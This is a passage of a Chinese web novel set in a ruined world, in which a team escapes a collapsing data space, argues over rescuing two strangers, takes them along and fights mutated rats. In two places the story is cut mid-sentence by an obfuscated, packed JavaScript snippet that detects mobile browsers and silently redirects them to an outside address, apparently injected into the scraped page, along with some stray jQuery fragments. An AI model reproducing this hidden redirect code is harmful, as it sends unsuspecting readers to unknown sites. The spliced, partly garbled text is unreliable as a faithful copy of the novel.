男人手中没有武器,他只是用手掌猛地拍向那些阴影。在他触碰的瞬间,那些阴影仿佛遇到了克星,剧烈扭动着,一部分“被侵蚀”的概念竟被他掌心无形的力量短暂地封存、凝固了短短一瞬!就这一瞬的阻滞,他另一只手已经用力将意识模糊的女孩从那片区域拽了出来。 “走!” 男人的声音依旧缺乏温度,但动作却带着不容置疑的坚决。他半扶半抱着几乎失去意识、身影淡薄如烟的女孩,看向第一组。 陆昭妄暗骂一声,知道此刻已没有回头路。 “跟上!” 他对着沈悬衡低吼了一句,不再压制女孩周身的力场,转而将【逻辑重构】用于前方开路,强行在一片混乱闪烁的记忆碎片和逻辑乱码中,“掰”出一条相对稳定的通道。 沈悬衡抹去嘴角的血迹,快步跟上,她依旧维持着【私心天平】的微弱运转,如同一个精细的过滤器,尽可能减轻回廊环境对这支临时拼凑、状态极差的队伍的精神侵蚀。 四人——或者说,两个半清醒的人带着两个状态糟糕的同伴——在这光怪陆离、危机四伏的回廊中艰难穿行。 陆昭妄负责在前方“修正”路径,沈悬衡负责断后和过滤精神污染,短发男人则护着昏迷的女孩居中。没有交流,只有喘息声、脚步声和能量扰动的滋滋声。 不知过了多久,仿佛穿过了无数重破碎的时空,前方的景象陡然一变。 混乱的记忆碎片和代码洪流消失了,取而代之的是一个相对“正常”的、无比庞大的球形空间。空间的中心,悬浮着一个由无数哭泣、嘶吼的人脸和沸腾的乱码构成的、缓缓旋转的巨大能量漩涡——“集体意识残响”的本体。它散发出的精神压迫感,比回廊中强了十倍不止。 球形空间的边缘,环绕着一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647164|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部分损坏、但仍有少数指示灯在顽强闪烁的服务器机柜。 “就是这里了……”陆昭妄停下脚步,脸色凝重地看着那巨大的漩涡,随即目光扫向那些服务器,“找找看,有没有还能用的!” 短发男人将女孩小心地放在一个相对稳固的机柜旁,让她倚靠着。沈悬衡立刻上前检查她的状况,确认她只是脱力和代价反噬导致的昏迷,生命体征还算平稳。 陆昭妄则快速在一排排服务器间穿梭,最终停留在一个型号与“掌柜”图纸上标注相近的终端前。 屏幕是黑的,但连接端口似乎还算完好。他尝试按下启动键,屏幕闪烁了几下,竟然亮起了微弱的光芒,虽然布满雪花,但操作系统似乎还能勉强运行。 “运气不错,或者说,这玩意儿质量真他娘的好。”陆昭妄啐了一口,毫不犹豫地将自己携带的一个便携式接口连接上去,双手在虚拟键盘上飞快操作起来。 无数乱码和数据流如同瀑布般刷过屏幕,他的瞳孔中也倒映着飞速流转的信息,额角再次渗出细密的汗珠。他在与残响本身争夺数据流的控制权,试图从这庞大的、混乱的信息聚合体中,抓取他们需要的那一丝线索。 沈悬衡守在旁边,警惕地注视着周围,尤其是那个缓缓旋转的漩涡。短发男人则沉默地站在女孩身旁,像一尊守护石像,冰冷的目光同样紧盯着漩涡,以及正在冒险操作的陆昭妄。 突然,陆昭妄手指一顿,屏幕上混乱的数据流中,有几段信息被强行捕捉、放大、暂存! 一段清晰的、冷静到诡异的男声——与陆昭妄之前录音中的声音一致——被播放出来: “…伊甸园非彼岸,乃重构之基石…” 紧接着,一幅残缺的、不断闪烁的设计图一闪而过,其核心结构,赫然是一个精致而复杂的天平与迷宫交织的符号! 最后,是一段极其微弱、断断续续的求救信号,夹杂着巨大的干扰噪音: “…阻止……‘同化’……‘奠基者’……叛逃……” 信息获取的瞬间,那巨大的能量漩涡仿佛被激怒般,旋转速度骤然加快,发出的低语变成了尖锐的嘶鸣!整个球形空间开始剧烈震动,顶部的金属结构发出不堪重负的呻吟! “拿到了!走!”陆昭妄猛地拔掉接口,语速极快。 他看了一眼刚获取的信息,又瞥向旁边沉默守护着女孩的短发男人,扯出一个没什么笑意的弧度,语气硬邦邦地扔下一句: “看,新手大礼包。附赠一个宇宙级谜题,喜欢吗?” 陆昭妄那句硬邦邦的嘲讽刚落,仿佛是按下了某个毁灭开关。悬浮在球形空间中心的巨大能量漩涡猛地一滞,随即以前所未有的速度疯狂旋转起来!无数人脸在漩涡中扭曲、尖啸,沸腾的乱码如同爆炸的恒星般喷射而出! “操!”陆昭妄脸色剧变,“它彻底醒了!走!” 崩塌从穹顶开始,巨大的金属构件如同被无形巨手撕扯,带着刺耳的断裂声轰然砸落。回廊的结构在以肉眼可见的速度瓦解,那些尚未完全平复的记忆碎片和逻辑乱流如同决堤的洪水般倒灌进这个核心空间。 “跑!” 陆昭妄的低吼与空间崩溃的巨响混合在一起。他转身就冲向来的方向。沈悬衡反应极快,几乎与他同时启动,但她没有立刻跟上,而是迅速来到昏迷的女孩身边,与那短发男人一左一右,架起女孩几乎透明的手臂,拖着她就往出口冲。 回廊在他们身后加速崩溃,记忆碎片如同玻璃般炸裂,逻辑陷阱彻底暴走,扭曲的光影和尖锐的精神嘶鸣追咬着他们的脚步。 陆昭妄冲在最前,【逻辑重构】被运用到了极致,他不去对抗整个空间的崩塌,而是像在激流中寻找礁石缝隙的鱼,不断在崩塌的路径上“撬”出一个个短暂的、可供通行的“逻辑缺口”。每一次能力的运用都让他脸色更白一分,但他脚下的速度没有丝毫减缓。 沈悬衡和短发男人紧随其后,两人都沉默着,将所有力气用在奔跑和支撑那个几乎感觉不到重量的女孩身上。沈悬衡依旧分出一部分心神维持着【私心天平】,将追袭而来的、最浓郁的精神污染偏转开,为这支踉跄的队伍争取到一丝喘息之机。 当他们终于冲破那层冰冷粘稠的“水膜”,重新摔回交换中心入口外那片布满碎石的地面时,刺眼的阳光——即便被辐射云过滤得苍白无力——和相对“干净”的空气,让他们都有瞬间的恍惚。身后,交换中心入口处的黑暗如同活物般剧烈翻涌了一下,随即恢复了之前那种死寂而危险的状态,只是那紫绿色的光晕似乎黯淡了些许。 精疲力尽。 陆昭妄撑着膝盖,剧烈地喘息,汗水顺着下颌线滴落。沈悬衡也几乎脱力,靠着一段残垣滑坐在地,胸口急促起伏。短发男人则第一时间检查了被他小心放下的女孩的状况,确认她只是昏迷,但那可怕的存在感稀薄状态并未立刻解除。 短暂的死寂后,沈悬衡强撑着站起身,走到女孩身边,再次蹲下,用手指探了探她的颈动脉,又检查了她的瞳孔。 “生命体征稳定。”她抬起头,对守在一旁的短发男人说,声音因疲惫而沙哑,“但她的‘消失’状态,还有你感受到的冰冷和阻滞……”她顿了顿,似乎在斟酌用词,“这似乎是能力觉醒后,伴随而来的某种……‘代价’。通常会持续一段时间,之后可能会缓解。” 短发男人点了点头,算是回应。他看向沈悬衡,又看了一眼不远处依旧背对着他们、气息不善的陆昭妄,沉默地鞠了一躬,动作有些僵硬,但幅度很深。“谢谢。”他的声音依旧没什么起伏,却带着沉重的分量,“我叫江敛。” 他看了一眼地上昏迷的女孩,补充道:“她的名字……我还不知道。” 就在这时,陆昭妄猛地转过了身。他脸上之前那点玩世不恭的表情消失得无影无踪,取而代之的是一种压抑到极点的、几乎要喷薄而出的怒火。他根本没看江敛,也没看地上的女孩,目光像两把冰冷的锥子,死死钉在沈悬衡身上。 他几步上前,在沈悬衡刚刚因为江敛的正式道谢而微微颔首、准备直起身的瞬间,一把攥住了她的手腕!力道之大,让沈悬衡纤细的腕骨瞬间被箍紧,她吃痛地微微蹙起了眉。 “你,”陆昭妄的声音因压抑而显得异常低沉,却带着前所未有的、几乎要炸开的怒火,每一个字都像是从牙缝里挤出来的,“现在、立刻、马上,我们得谈谈。” 他根本不容她反驳或挣脱,几乎是粗暴地拽着她,强行将她拉向不远处一堆更高的废墟残骸之后,彻底隔绝了江敛的视线。 江敛站在原地,看着两人消失的方向,脸上依旧是那副因代价而冰封的表情,只是默默地将昏迷的、连名字都还不知道的女孩,往自己身后更挡了挡。 废墟之后,陆昭妄猛地甩开沈悬衡的手腕,那里已经留下一圈清晰的红痕。他逼近一步,几乎与她鼻尖相对,眼底翻涌着风暴。 “沈悬衡!你他妈知不知道刚才我们差点全都死在里面?!为了两个陌生人!两个连自己能力都控制不了的累赘!” 8. 原来救命是门风险投资 手腕上那圈被陆昭妄攥出的红痕,在苍白皮肤的映衬下,刺眼得如同一个刚烙下的烙印。沈悬衡甚至能感觉到自己腕骨上残留的、属于他的力度和那几乎要灼伤人的怒意。 废墟的阴影将他们与不远处刚刚经历生死、尚在茫然中的那对陌生人隔开,形成一个充斥着无声硝烟的对峙空间。 陆昭妄猛地甩开她的手,自己却又逼近了半步,两人之间依旧保持着一种危险的、鼻尖几乎相撞的距离。 他胸膛微微起伏,不是出于疲惫,而是某种情绪在胸腔里剧烈地冲撞,急需一个出口。那双总是带着讥诮或算计的眼睛,此刻只剩下被触犯底线后的冰冷风暴。 “你知不知道刚才我们差点全都死在里面?!”他开口,声音压得极低,却像裹着冰碴子,每个字都砸得人生疼,“为了两个陌生人!两个连自己身上发生了什么都不知道、只会添乱的累赘!” 沈悬衡轻轻活动了一下刺痛的手腕,在他灼人的逼视下,几不可查地向后挪了半分,不是为了示弱,更像是为本就紧绷的空间争取一丝喘息的缝隙。 她抬起眼看他。 她的脸上没有愤怒,也没有退缩,只有一种深沉的、近乎悲悯的平静。这种平静,在此刻的陆昭妄看来,比任何反驳都更令人火大。 “我的能力,是‘分担’。”她的声音不高,却清晰地穿透他制造的压抑氛围,“如果‘成本’和‘风险’是衡量是否伸出援手的唯一标准,那我们和那些导致这个世界变成废墟的、冰冷的逻辑,有什么区别?” “区别?!”陆昭妄像是听到了天大的笑话,短促地嗤笑一声,上前一步,目光如刀,“区别就是我们他妈的还活着!而你想用我们活命的机会去赌那点微不足道的可能性!沈悬衡,我不是在跟你讨论哲学,讨论你那些崇高却一文不值的道德感!我在跟你谈生存!我怕死,我更怕你这种……”他顿了顿,像是找不到合适的词,最终咬牙切齿地说,“……你这种‘圣人’,死得毫无价值!” 他把某个字咬得很重,话语中的某个点,精准地刺中了沈悬衡。她沉默了片刻,废墟间的风穿过钢筋缝隙,发出呜咽般的声响。然后,她再次开口,声音依旧平稳,却带着一种穿透所有伪装的力量,直接扎向了他愤怒的核心: “你不是在怕死,陆昭妄。”她的目光沉静地落在他脸上,仿佛能看进他躁动不安的灵魂深处,“你是在怕‘失去’。” 这句话像是一根针,猝不及防地刺破了他鼓噪的情绪气球。陆昭妄瞳孔微不可查地一缩,所有准备好的、更刻薄的言辞都卡在了喉咙里。 一种被看穿、被揭破的狼狈感混合着未散的怒火,让他脸上的肌肉微微抽动。 他死死地盯着她,想从她那平静无波的脸上找出哪怕一丝一毫的动摇或算计,却什么也找不到。 该死的。 他在心里低咒。她总是这样,用最平静的语气,说最他妈要命的话。 争吵带来的高热骤然降至冰点,只剩下一种更难熬的、僵持的寂静。 他们站在废墟的阴影里,像两座互不相让却根系早已纠缠的孤岛,中间隔着理念的鸿沟,以及那句谁也无法立刻反驳的、精准的指控。 他无法否认,至少在潜意识里,他恐惧的或许从来不仅仅是死亡本身。 而她,也无法立刻拿出一个能说服他的、关于“值得”的完美证明。 远处,江敛沉默地守护着依旧虚弱、存在感飘忽的祝昭,偶尔投向这边的目光冷静而审慎,如同在评估一场与己无关却又可能影响自身存亡的风暴。 他们被困在了这里,被未解的冲突,也被无法切断的、该死的“同伴”关系。 令人窒息的沉默并未持续太久。远处传来一声压抑的咳嗽,是那个短发男人发出的。这声音像一根针,刺破了他们之间紧绷的气泡。现 迫使他们必须回到那两个“麻烦”身边。 陆昭妄率先动了,他狠狠剐了沈悬衡一眼,眼神里的风暴并未平息,只是暂时被强行压下。他转身,大步流星地走回江敛和祝昭所在的地方,步伐带着未消的怒气,脊背挺直,像一杆标枪。 沈悬衡看着他的背影,轻轻吸了口气,也跟了上去。手腕上的红痕依旧醒目。 江敛依旧维持着守护的姿态,守在倚靠着断墙、意识似乎清醒了些的祝昭旁边。他的表情没什么变化,但眼神在陆昭妄和沈悬衡之间快速扫过,精准地捕捉到了那残留的紧张气氛。他没有询问,只是微微颔首,算是打过招呼。 沈悬衡径直走向祝昭,再次蹲下身。女孩的脸色依旧苍白,但之前那种令人心悸的、仿佛要融入背景的“存在感稀释”现象,似乎减轻了一些,她的轮廓变得清晰了些许。沈悬衡伸手探了探她的额头,又检查了她的瞳孔。 “生命体征更稳定了。”她抬头对江敛说,然后目光转向祝昭,声音放缓,“感觉怎么样?能听到我说话吗?” 祝昭眨了眨眼,焦距还有些涣散,但她努力点了点头,嘴唇动了动,发出的声音虽然微弱嘶哑,却不再像之前那样飘忽不定:“……能……谢谢……姐姐。” 另一边,陆昭妄没靠近,只是抱臂靠在一段歪斜的金属梁上,目光落在江敛身上,带着毫不掩饰的审视。 “所以,”他开口,语气恢复了惯有的、带着点漫不经心的腔调,但底子依旧是冷的,“二位什么来路?也是听了哪个路边社消息,跑来这鬼地方观光探险的?” 江敛迎上他的目光,表情没有任何波动,声音平稳地回答:“我们来自西边一个临时据点,类似……一个交换物资和信息的地方。” 他看向陆昭妄,似乎在确认对方是否理解这种模式。 “我加入了一个临时组成的物资搜集队。队里唯一拥有攻击性异能的队长,在探查前方危险时失联了。队伍很快崩溃,其他人……”他顿了顿,没有细说,但意思明确,“我侥幸逃脱,却被异常的数据流卷入了这里,然后……发生了无法控制的变化。” 他稍作停顿,补充了关键信息:“我原本计划返回的据点,叫‘灰鼹鼠巢穴’,在西北方向。如果你们也要往那个方向去……”他的话没说完,但暗示了同路的可能性。 陆昭妄挑眉,立刻抓住了重点,并用自己的方式总结:“哦,‘灰鼹鼠’?听着跟之前那个‘流浪者集市’一个调调。所以你们是正规军变散兵游勇,队长送了人头,团队直接解散?” 这话说得难听,但确实概括了核心。 这时,靠在墙边的祝昭,气息微弱地插话,声音断断续续:“我……我不是他们队的……我一个人……之前的小队,在路上……都没了。就我一个……普通人,不知道怎么就……走到这儿了。” 她的话印证了江敛队伍崩溃的说法,也揭示了她独自挣扎求生的艰难。 “看到他们……不敢靠近,就……远远跟着……结果,也被卷进来了……” 她的经历,一个普通人能独自存活并走到这里,本身就是一个奇迹,也解释了她为何会出现在此地。 陆昭妄的视线在江敛和祝昭之间扫了个来回。他当然听懂了所有的潜台词——求助、信息匮乏、临时的同行可能。这让他心里的天平稍微倾斜了一点。一个冷静自持、有明确据点归属——意味着可能有后续价值——的前队员,和一个孤身一人、韧性十足且能力似乎与情绪直接相关的“变量”…… 他的目光又扫过正小声对沈悬衡说着“姐姐……我好像……没那么透明了”的祝昭。这女人的“分担”虽然莽撞,但确实捡回来了两个……有点意思的东西。 “控制?”陆昭妄扯了扯嘴角,对江敛说,语气听不出是嘲讽还是陈述,“你们身上发生的变化,第一次出现时,通常会伴随一段时间的强烈不适,我们称之为‘代价’。不过,这第一次的‘代价’通常不会永久持续。” 他说话时,眼睛却看着沈悬衡,仿佛在说:看,我在收拾你的烂摊子,在给你坚持要救的人做“售后服务”。 就在这时,祝昭似乎恢复了些力气,她挣扎着想要坐直些,目光落在陆昭妄身上,带着明显的不赞同,尽管声音依旧沙哑,却努力放大:“你……你刚才……干嘛那么凶她!”她指的是沈悬衡,“要不是她……我们……我们……” 她似乎想不出合适的词,最后只是固执地重复: “你不能凶她!” 这突如其来的维护,让紧绷的气氛产生了一丝奇异的松动。江敛没有阻止祝昭,只是沉默地看着,像是在观察这场互动会引向何种结果。 陆昭妄被这指责弄得一愣,随即气笑了,他看向沈悬衡,眼神仿佛在说“你看你救的好人”。而沈悬衡,只是轻轻拍了拍祝昭的手背,示意她不必激动。 试探结束了。至少暂时。 对方底细不清,但威胁性可控,且有明显的需求和潜在的利用价值。而己方……陆昭妄瞥了一眼沈悬衡,内心烦躁地承认,他无法真的抛下她,也无法完全无视这两个被卷进来的“新手”。 利益、风险、未解的冲突、以及那该死的、无法切割的同伴关系,交织成一张复杂的网。 空气里弥漫着硝烟暂熄后的沉寂,以及一种心照不宣的权衡。江敛提供的信息,祝昭破碎的经历,还有他们身上那刚刚平息却依旧陌生的能量波动,都成了陆昭妄脑中飞速计算的变量。 他扯了扯嘴角,那笑容没什么温度,更像是一个达成某种内部妥协后的标志。目光落在江敛身上,语气带着一种公事公办的冷淡: “跟着我们可以。”他先定下基调,眼神示意了一下祝昭,然后抛出条件,“管好她的情绪,别再搞出刚才那种能把方圆十里怪物都引来的动静。我们是去找东西,不是来带新兵,更不是幼儿园秋游。” 他的要求直接而务实,指向最明显的不稳定因素。 江敛平静地接受,没有任何异议:“明白。我们会尽力控制。”他的回答简洁有力,目光转向祝昭,带着一种沉静的审视,仿佛已经在脑海里规划如何约束这种不可控的力量。 祝昭似乎想辩解什么,苍白的脸上泛起一丝急切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647165|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但看着沈悬衡,又看了看江敛,最终还是把话咽了回去,只是小声地、保证似地对沈悬衡说:“姐姐……我、我会尽量……不惹麻烦的。” 陆昭妄没理会她这点小小的表态,他的注意力回到了更现实的问题上。他环顾了一下四周这片狼藉的废墟,远处数据交换中心那不祥的光晕依旧让人心神不宁。 “当务之急,”他开口,打断了这点刚刚建立的、脆弱的默契,“是找个能喘口气的地方。我们都快散架了。” 他这话是对着沈悬衡说的,但显然包括了在场的所有人。连续的高强度战斗、精神冲击和异能使用,让四个人的状态都降到了谷底。 他们需要处理伤口,需要进食饮水,需要片刻的安宁来让过度紧绷的神经稍微松弛,尤其是这两个新来的,他们更需要时间来消化和适应这突如其来的“新生”。 这个提议无人反对。生存的本能压倒了一切刚刚萌芽的猜忌和理念冲突。 沈悬衡默默地从自己的布袋里找出剩下的半瓶净水和一点点压缩食物,分给了江敛和祝昭。动作自然,没有多说什么。 江敛接过,低声道谢。祝昭则看着那点珍贵的补给,眼圈微微发红,用嘶哑的声音连着说了好几声谢谢。 陆昭妄冷眼看着这一切,没阻止,也没参与分享他那份显然更“丰厚”的储备。他只是走到稍高一点的位置,警惕地观察着周围的环境,寻找着适合短暂栖身的地点。 他的目光锐利,大脑同样在高速运转——关于“灰鼹鼠巢穴”的位置,关于西北方向可能存在的线索,关于如何在这段被迫的“同行”中,最大化己方的利益,并确保……沈悬衡那该死的善良不会再次将他们拖入绝境。 关于“伊甸园”、“基石”、神秘符号和“奠基者叛逃”的核心情报,如同沉入深水的巨石,在他心底默然无声。 那不是可以轻易示人的牌,尤其是在刚刚组建、根基未稳的临时队伍面前。 四人之间,一种基于最基础生存需求和安全考虑的临时同盟,在这片危机四伏的废墟上,无声地建立了。它脆弱得如同蛛网,却也是当下唯一的选择。 最终选定的落脚点,是几百米外一栋半埋在地下的车库入口。结构相对完整,只有一个主要入口,视野尚可,易守难攻。 里面潮湿的空气中带着浓重的霉味和铁锈气,但至少暂时隔绝了外面那些无形无质、却无孔不入的精神压迫感。 四人鱼贯而入,气氛沉默而疲惫。 陆昭妄率先检查了一遍角落和承重结构,确认没有潜在危险后,才略显脱力地靠坐在一个废弃的轮胎上,闭目养神,但紧绷的下颌线显示他并未完全放松。 沈悬衡帮着江敛,将依旧虚弱的祝昭安置在相对干燥的角落。祝昭的存在感依旧比正常人稀薄,说话需要刻意提高音量才能被清晰捕捉,但她似乎正在慢慢从那种濒临“消失”的状态中挣扎出来,只是过程缓慢。 江敛则沉默地开始利用有限的材料加固入口,动作精准而高效,仿佛这是一种本能。他的表情依旧缺乏波澜,但那种因“情感冻结”而带来的机械感,似乎也随着时间流逝在极其缓慢地消褪。 没有人说话。只有压抑的喘息声,衣物摩擦的窣窣声,以及远处偶尔传来的、不明来源的异响。 沈悬衡简单处理了一下自己手腕上的红痕,然后拿出所剩无几的药品,示意江敛和祝昭是否需要处理外伤。江敛摇了摇头,表示自己只是消耗过度。祝昭则小声说自己只是累,没有明显外伤。 陆昭妄掀开眼皮,冷冷地瞥了一眼这边的动静,又漠然闭上。 短暂的休整并未能化解那份沉重的气氛。沈悬衡与陆昭妄之间的裂痕清晰可见,如同地面上那道深刻的阴影。 而与后来加入的两人之间,则是一种混合着救命之恩、相互审视和不确定未来的微妙平衡。 过了不知多久,陆昭妄忽然站起身。他活动了一下有些僵硬的脖颈,目光扫过在场三人,最后落在沈悬衡身上。 “休息够了就走吧。”他的语气没有任何商量的余地,直接下达了指令,“这地方也不安全。” 江敛立刻停下手上的动作,站直身体,示意自己已准备好。祝昭也努力想要站起来,虽然脚步还有些虚浮。 沈悬衡看着他,没有立刻动作,只是平静地问:“去哪里?” 陆昭妄扯了扯嘴角,那笑容里没什么善意,更像是一种认命般的自嘲,他率先向出口走去,声音不大,却清晰地回荡在狭小的空间里: “‘灰鼹鼠巢穴’。既然顺路,就去看看。”他顿了顿,补充道,语气带着他特有的、将一切都物化的算计, “顺便,看看这笔临时追加的投资,到底能有多少回报。” 他没有再看沈悬衡,但这句话,分明是对她说的。 是对她坚持救援的回应,也是对他们之间那场未竟争吵的延续。 几个人带着未解的裂痕与新的算计,沉默地再次上路,融入了废墟之外那片苍茫而危险的天地。 9. 这教材费有点贵啊 离开那处临时藏身的地下车库,四人踏上了前往“灰鼹鼠巢穴”的路途。 陆昭妄始终走在最前面,刻意保持着一段足以表明立场的距离,仿佛身后跟着的不是同伴,而是什么令人避之不及的麻烦。 沈悬衡走在中段,目光看似扫过两旁倾颓的建筑,实则时刻关注着同行者的状态。 她能感受到陆昭妄背影里散发出的冷意,也能察觉到身后祝昭略显急促的呼吸,以及江敛那几乎微不可闻却始终保持警戒的脚步声。 祝昭紧紧跟在沈悬衡侧后方,时不时偷偷瞄一眼陆昭妄冷硬的背影,又忍不住回头看看沉默守护在最后的江敛。 她悄悄掐了自己手背一下,清晰的痛感让她轻轻吁了口气——那种身体仿佛要融入空气、声音被世界忽略的恐怖感觉终于彻底消失了。 “终于不用当幽灵了......”她小声嘟囔着,语气里带着劫后余生的庆幸。 前面传来陆昭妄头也不回的回答,语调平淡却字字扎心:“恭喜。现在你是个需要吃饭、会制造噪音的普通麻烦了。” 祝昭被噎得说不出话,不服气地鼓起脸颊。 沈悬衡目视前方,声音温和却坚定:“至少这个麻烦,会提醒我们生命可贵,值得尽力活下去。” 陆昭妄的背影几不可查地僵硬了一瞬,脚下的速度不着痕迹地加快了几分。 江敛默默跟在最后,将这段对话尽收耳中。 他脸上依旧没什么表情,但之前那种因异能觉醒而产生的冰冷隔阂感已经消散。他的目光不时落在祝昭身上,那个在绝境中与他共同经历生死的女孩,此刻正小心翼翼地避开地上的碎石,栗色马尾随着她的动作轻轻晃动。 这条通往“灰鼹鼠巢穴”的路越来越难走。 倒塌的建筑物堵塞了原本的道路,他们不得不绕行穿过一片曾经的城市公园。干涸的人工湖底裂开狰狞的缝隙,湖心那座断裂的拱桥像垂死的巨兽脊骨,残破的石雕散落在枯死的草坪上,上面爬满了散发着诡异荧光的苔藓。 就在他们穿过一片半塌的景观长廊时,陆昭妄突然停下脚步,抬手做了个警戒的手势。 “有东西。”他压低声音,目光锐利地扫视着前方那片被变异藤蔓覆盖的假山群。 几乎同时,假山阴影里传来一阵令人牙酸的窸窣声,几双闪烁着不正常红光的眼睛在黑暗中亮起。那声音越来越近,带着某种令人不安的节奏,仿佛有什么正在暗中窥伺,等待着最佳的出击时机。 沈悬衡下意识地向前半步,与陆昭妄形成犄角之势。江敛则不动声色地将祝昭护在身后,眼神警惕地环顾四周。 那阵令人牙酸的窸窣声越来越近,伴随着某种黏腻的拖拽声。假山阴影里,几双闪烁着不正常红光的眼睛在黑暗中游移,数量似乎还在增加。空气中弥漫开一股刺鼻的腥臭,混合着金属锈蚀和数据流特有的臭氧味。 “是蚀骨鼠,”陆昭妄的声音压得很低,带着明显的嫌恶,“被数据污染变异的老鼠群,牙口特别好,专啃金属和骨头。最喜欢成群结队,一窝蜂往上扑。” 他话音刚落,第一波攻击就来了。五六只体型堪比野猫、皮毛斑秃露出底下蠕动数据流光的巨鼠从阴影中窜出,直扑最前方的陆昭妄。它们的牙齿闪烁着不祥的寒光,滴落的唾液在地面上腐蚀出细小的坑洞,发出“滋滋”的轻响。 陆昭妄没有后退,甚至没有动用他的能力。他侧身避过最先扑来的那只,动作敏捷得不像个拥有异能的人,手中那根锈蚀钢筋精准地插入其脖颈,一拧一抽,带出一蓬暗色的污血。“看着点!”他头也不回地对着身后的江敛喝道,语气急促却不慌乱,“你的‘储备’不是垃圾桶!别什么都往里收!挑最有用的!比如它们牙齿上的‘腐蚀’概念!精准点!” 江敛眼神一凛,立刻明白了陆昭妄的意思。他没有贸然上前与鼠群近身肉搏,而是迅速找到一个相对稳固的位置,集中精神,目光如同精准的扫描仪,锁定另一只正试图从侧翼偷袭陆昭妄的蚀骨鼠。 在那只老鼠再次张开嘴,露出那闪烁着危险光芒的腐蚀性唾液的瞬间,江敛伸出手虚按向那个方向——【余量】发动! 空气中似乎产生了一丝微不可查的凝滞,仿佛时间在那个小小的区域被按下了暂停键。那只老鼠嘴前闪烁的腐蚀性能量肉眼可见地黯淡、稀薄了一瞬,仿佛被无形之力剥夺、压缩了一部分最核心的“腐蚀”特性。 而江敛的眉头微微蹙起,脸色白了一分,似乎瞬间承载了某种额外的负担,但很快恢复如常。被他“封存”起来的那一丝“腐蚀”概念,暂时成为了他能够动用的“储备”,一个潜在的杀手锏。 “很好!就这么干!”陆昭妄百忙之中居然还有空点评,他一个利落的回旋踢将一只试图咬向他脚踝的老鼠踹飞,撞在假山上发出一声闷响,“下次试试封存它们的‘敏捷’或者‘coordination’!” 他刻意用了个英文词,嘴角带着恶劣的弧度,仿佛在测试江敛的应变能力,也像是在挑衅某个总爱纠正他用词的人。他游刃有余地在鼠群的扑咬间穿梭,钢筋每次挥出都必然见血,展现出不俗的近身格斗技巧,显然并非完全依赖异能。 另一边,两只更为狡猾的蚀骨鼠绕过正面战场,利用倒塌的廊柱作为掩护,悄无声息地直扑队伍中段看起来最好欺负的沈悬衡和祝昭。 “闭上眼睛!”沈悬衡对有些惊慌的祝昭低喝,自己则上前半步,将祝昭挡在身后,“别怕,感受你的情绪,愤怒或者恐惧都可以,但不要被它们控制!把它们想象成……一种可以点燃的能量!” 祝昭吓得脸色发白,手心里全是冷汗,蚀骨鼠猩红的眼睛和恶臭的气息几乎让她窒息。但她看着沈悬衡坚定的背影,还是用力闭上了眼睛。 死亡的威胁近在咫尺,极致的恐惧如同冰冷的海水瞬间淹没了她。就在那只冲在前面的蚀骨鼠锋利的爪子即将触碰到她小腿的瞬间,那股几乎要炸裂胸膛的恐惧猛地在她体内“点燃”! 她周身空气微微扭曲,身体以一种超越常理、近乎本能的反应速度向侧后方滑开,动作流畅得如同舞蹈,险之又险地避开了那足以撕裂皮肉的致命爪击。她的动作快得带出了残影,与平时那个有些毛躁的女孩判若两人。 “就是这样!记住这种感觉!”沈悬衡鼓励道,同时猛地将祝昭往自己身后一拉,另一只手已抄起地上半截断裂的钢筋,精准地格挡开另一只趁机扑向祝昭咽喉的老鼠。 “铛”的一声脆响,钢筋与利爪碰撞出火花,那老鼠被这股巧劲带偏,嘶叫着翻滚落地,锐利的爪尖在钢筋上留下几道白痕。祝昭仅仅感觉到一股挟带着腥风的劲气擦过颈侧,心跳几乎漏了一拍。 “感受情绪,利用它,然后学会放开它。”沈悬衡的声音如同定心丸,在混乱中清晰地传入祝昭耳中,“你能控制它,而不是被它控制。你才是主导者。” 祝昭惊魂未定地点头,胸口剧烈起伏,尝试着按照沈悬衡的指导调整呼吸。 她能清晰地感觉到那股因极致恐惧而爆发出的、让她速度激增的力量正在如潮水般消退,随之而来的是一种身体被掏空般的虚弱和空虚感,但这一次,那种令人恐慌的、仿佛要被世界抹去的感觉并没有随之出现。 这个发现让她狂跳的心脏稍稍安定了一些,也给了她一点继续尝试的勇气。 短暂的激烈交锋过后,战况稍微平息。 七八只蚀骨鼠的尸体散布在周围,空气中血腥味和腐臭味更加浓重。剩下的几只缩回假山阴影的更深处,发出威胁性的低嚎,呲着牙,暂时不敢再上前,但那双双红眼依旧死死盯着他们,显然没有放弃。 陆昭妄甩了甩钢筋上黏稠的污血,在地上留下一道暗红的痕迹。 他瞥了一眼因为初次成功使用能力封存特定概念而微微喘息、脸色有些发白的江敛,又扫过一旁靠着断柱、脸色苍白但眼神亮得惊人的祝昭,最后,他的目光落在气息依旧平稳、仿佛刚才只是进行了一场日常教学的沈悬衡身上。 “教这么多够了,”他语气冷淡,带着一丝不易察觉的疲惫,但更多的是某种刻意的疏离,“剩下的学费,下次再收。” 这话明显是对沈悬衡说的,暗示她在这种朝不保夕的环境下,过度慷慨的教学无异于增加不必要的风险。 沈悬衡迎上他没什么温度的目光,平静地回应,声音不大却坚定:“如果这真如你所说,是一笔投资,那么让他们尽快掌握自保的能力,形成有效的战斗力,就是最直接、最迫切的收益。这能降低我们所有人的风险。” 两人的视线在空中交汇,价值观的碰撞在这硝烟未散、危机尚未完全解除的战场上再次无声上演。 